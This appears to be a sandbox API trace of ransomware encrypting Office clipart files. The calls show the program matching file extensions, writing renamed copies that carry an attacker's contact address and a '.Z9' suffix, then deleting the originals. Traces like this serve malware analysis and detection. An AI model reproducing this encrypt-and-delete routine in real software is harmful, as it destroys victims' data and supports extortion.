	[0170.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0170.926] lstrlenW (lpString=".1cd") returned 4
	[0170.926] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68
	[0170.926] lstrlenW (lpString=".jpg") returned 4
	[0170.926] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.926] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0170.926] lstrlenW (lpString="J0105376.WMF") returned 12
	[0170.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0170.958] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=4964) returned 1
	[0170.958] CloseHandle (hObject=0x4bc) returned 1
	[0170.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf")) returned 0x220
	[0170.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0170.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0170.959] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.959] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0170.960] GetLastError () returned 0x0
	[0170.960] ReadFile (in: hFile=0x4bc, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x1364, lpOverlapped=0x0) returned 1
	[0170.970] WriteFile (in: hFile=0x530, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x1370, lpOverlapped=0x0) returned 1
	[0170.971] ReadFile (in: hFile=0x4bc, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.971] WriteFile (in: hFile=0x530, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.972] SetEndOfFile (hFile=0x530) returned 1
	[0170.972] CloseHandle (hObject=0x530) returned 1
	[0171.265] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.266] SetEndOfFile (hFile=0x4bc) returned 1
	[0171.272] CloseHandle (hObject=0x4bc) returned 1
	[0171.272] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0171.289] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf")) returned 1
	[0171.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0171.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0171.290] lstrlenW (lpString=".doc") returned 4
	[0171.290] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.290] lstrlenW (lpString=".docx") returned 5
	[0171.290] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0171.290] lstrlenW (lpString=".pdf") returned 4
	[0171.290] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.290] lstrlenW (lpString=".xls") returned 4
	[0171.290] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.290] lstrlenW (lpString=".xlsx") returned 5
	[0171.290] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0171.290] lstrlenW (lpString=".ppt") returned 4
	[0171.290] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0171.290] lstrlenW (lpString=".zip") returned 4
	[0171.290] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.290] lstrlenW (lpString=".rar") returned 4
	[0171.290] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.290] lstrlenW (lpString=".bz2") returned 4
	[0171.290] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.291] lstrlenW (lpString=".7z") returned 3
	[0171.291] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0171.291] lstrlenW (lpString=".dbf") returned 4
	[0171.291] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0171.291] lstrlenW (lpString=".1cd") returned 4
	[0171.291] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0171.291] lstrlenW (lpString=".jpg") returned 4
	[0171.291] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0171.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0171.291] lstrlenW (lpString=".doc") returned 4
	[0171.291] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.291] lstrlenW (lpString=".docx") returned 5
	[0171.291] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0171.291] lstrlenW (lpString=".pdf") returned 4
	[0171.291] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.291] lstrlenW (lpString=".xls") returned 4
	[0171.291] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.291] lstrlenW (lpString=".xlsx") returned 5
	[0171.291] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0171.291] lstrlenW (lpString=".ppt") returned 4
	[0171.291] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0171.291] lstrlenW (lpString=".zip") returned 4
	[0171.291] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.291] lstrlenW (lpString=".rar") returned 4
	[0171.291] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.291] lstrlenW (lpString=".bz2") returned 4
	[0171.291] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.292] lstrlenW (lpString=".7z") returned 3
	[0171.292] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0171.292] lstrlenW (lpString=".dbf") returned 4
	[0171.292] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0171.292] lstrlenW (lpString=".1cd") returned 4
	[0171.292] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68
	[0171.292] lstrlenW (lpString=".jpg") returned 4
	[0171.292] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.292] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0171.292] lstrlenW (lpString="J0105380.WMF") returned 12
	[0171.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0171.293] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=4624) returned 1
	[0171.293] CloseHandle (hObject=0x4bc) returned 1
	[0171.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf")) returned 0x220
	[0171.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0171.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0171.294] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.294] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0171.295] GetLastError () returned 0x0
	[0171.295] ReadFile (in: hFile=0x4bc, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x1210, lpOverlapped=0x0) returned 1
	[0171.301] WriteFile (in: hFile=0x538, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x1220, lpOverlapped=0x0) returned 1
	[0171.302] ReadFile (in: hFile=0x4bc, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.303] WriteFile (in: hFile=0x538, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.303] SetEndOfFile (hFile=0x538) returned 1
	[0171.303] CloseHandle (hObject=0x538) returned 1
	[0171.303] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.303] SetEndOfFile (hFile=0x4bc) returned 1
	[0171.306] CloseHandle (hObject=0x4bc) returned 1
	[0171.306] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0171.306] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf")) returned 1
	[0171.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0171.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0171.307] lstrlenW (lpString=".doc") returned 4
	[0171.307] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.307] lstrlenW (lpString=".docx") returned 5
	[0171.307] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0171.307] lstrlenW (lpString=".pdf") returned 4
	[0171.307] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.307] lstrlenW (lpString=".xls") returned 4
	[0171.307] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.307] lstrlenW (lpString=".xlsx") returned 5
	[0171.307] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0171.307] lstrlenW (lpString=".ppt") returned 4
	[0171.307] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0171.308] lstrlenW (lpString=".zip") returned 4
	[0171.308] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.308] lstrlenW (lpString=".rar") returned 4
	[0171.308] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.308] lstrlenW (lpString=".bz2") returned 4
	[0171.308] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.308] lstrlenW (lpString=".7z") returned 3
	[0171.308] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0171.308] lstrlenW (lpString=".dbf") returned 4
	[0171.308] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0171.308] lstrlenW (lpString=".1cd") returned 4
	[0171.308] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0171.308] lstrlenW (lpString=".jpg") returned 4
	[0171.308] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0171.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0171.308] lstrlenW (lpString=".doc") returned 4
	[0171.308] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.308] lstrlenW (lpString=".docx") returned 5
	[0171.308] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0171.308] lstrlenW (lpString=".pdf") returned 4
	[0171.308] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.308] lstrlenW (lpString=".xls") returned 4
	[0171.308] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.308] lstrlenW (lpString=".xlsx") returned 5
	[0171.308] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0171.308] lstrlenW (lpString=".ppt") returned 4
	[0171.308] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0171.309] lstrlenW (lpString=".zip") returned 4
	[0171.309] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.309] lstrlenW (lpString=".rar") returned 4
	[0171.309] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.309] lstrlenW (lpString=".bz2") returned 4
	[0171.309] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.309] lstrlenW (lpString=".7z") returned 3
	[0171.309] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0171.309] lstrlenW (lpString=".dbf") returned 4
	[0171.309] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0171.309] lstrlenW (lpString=".1cd") returned 4
	[0171.309] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68
	[0171.309] lstrlenW (lpString=".jpg") returned 4
	[0171.309] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.309] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0171.309] lstrlenW (lpString="J0105384.WMF") returned 12
	[0171.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0171.310] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=5880) returned 1
	[0171.310] CloseHandle (hObject=0x4bc) returned 1
	[0171.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf")) returned 0x220
	[0171.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0171.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0171.311] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.311] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0171.312] GetLastError () returned 0x0
	[0171.312] ReadFile (in: hFile=0x4bc, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x16f8, lpOverlapped=0x0) returned 1
	[0171.314] WriteFile (in: hFile=0x538, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x1700, lpOverlapped=0x0) returned 1
	[0171.315] ReadFile (in: hFile=0x4bc, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.315] WriteFile (in: hFile=0x538, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.315] SetEndOfFile (hFile=0x538) returned 1
	[0171.315] CloseHandle (hObject=0x538) returned 1
	[0171.315] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.315] SetEndOfFile (hFile=0x4bc) returned 1
	[0171.318] CloseHandle (hObject=0x4bc) returned 1
	[0171.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0171.319] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf")) returned 1
	[0171.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0171.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0171.561] lstrlenW (lpString=".doc") returned 4
	[0171.561] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.561] lstrlenW (lpString=".docx") returned 5
	[0171.561] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0171.561] lstrlenW (lpString=".pdf") returned 4
	[0171.562] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.562] lstrlenW (lpString=".xls") returned 4
	[0171.562] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.562] lstrlenW (lpString=".xlsx") returned 5
	[0171.562] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0171.562] lstrlenW (lpString=".ppt") returned 4
	[0171.562] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0171.562] lstrlenW (lpString=".zip") returned 4
	[0171.562] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.562] lstrlenW (lpString=".rar") returned 4
	[0171.562] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.562] lstrlenW (lpString=".bz2") returned 4
	[0171.562] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.562] lstrlenW (lpString=".7z") returned 3
	[0171.562] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0171.562] lstrlenW (lpString=".dbf") returned 4
	[0171.562] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0171.562] lstrlenW (lpString=".1cd") returned 4
	[0171.562] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0171.576] lstrlenW (lpString=".jpg") returned 4
	[0171.579] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0171.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0171.579] lstrlenW (lpString=".doc") returned 4
	[0171.579] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.591] lstrlenW (lpString=".docx") returned 5
	[0171.591] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0171.591] lstrlenW (lpString=".pdf") returned 4
	[0171.591] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.591] lstrlenW (lpString=".xls") returned 4
	[0171.591] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.591] lstrlenW (lpString=".xlsx") returned 5
	[0171.591] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0171.591] lstrlenW (lpString=".ppt") returned 4
	[0171.591] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0171.591] lstrlenW (lpString=".zip") returned 4
	[0171.591] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.591] lstrlenW (lpString=".rar") returned 4
	[0171.591] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.591] lstrlenW (lpString=".bz2") returned 4
	[0171.591] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.592] lstrlenW (lpString=".7z") returned 3
	[0171.592] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
